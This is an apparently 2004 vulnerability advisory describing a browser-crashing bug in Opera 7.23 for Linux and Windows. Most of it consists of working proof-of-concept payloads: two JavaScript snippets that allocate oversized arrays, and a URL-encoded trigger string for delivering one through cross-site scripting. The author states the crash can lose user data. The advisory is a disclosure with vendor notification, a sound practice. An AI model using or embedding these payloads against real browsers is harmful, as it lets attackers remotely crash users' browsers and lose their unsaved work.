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Opera Array Allocation Managment Exploit

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Dicovered by- d3thStaR [!AM] 

Greets: !AM Crew, Atomix, d3thstar, mgrd, 0x29A Crew, rootthief.com.

Sources: Safari Overflow Exploit- kang

Confirmed products effected- Opera 7.23 Linux, Opera 7.23 Windows



=======Description of Problem=======

Someone could remotely seg-fault the Opera web-browser by creating an array allocation managment error.



<script>var a = new Array(99999999999999999999999); a[0+5]="AAAAA";</script>



<script>var bam = new Array(0x23000000); bam.sort(new Function("return 1"));</script>



Results in crashed client. No, severe, damage; did loose a 'Note' on one test.



=======Precautions=======

Be aware of cross-site scripting attacks.



Known URL triggers: %40%3cscript%3evar%20bam%20%3d%20new%20Array%280x2

3000000%29%3b%20bam%2esort%28new%20Function%28%22r

eturn%201%22%29%29%3b%3c%2fscript%3e



Vendor- Opera.com

Notified- 3/12/04_1:04am/Central



d3thStaR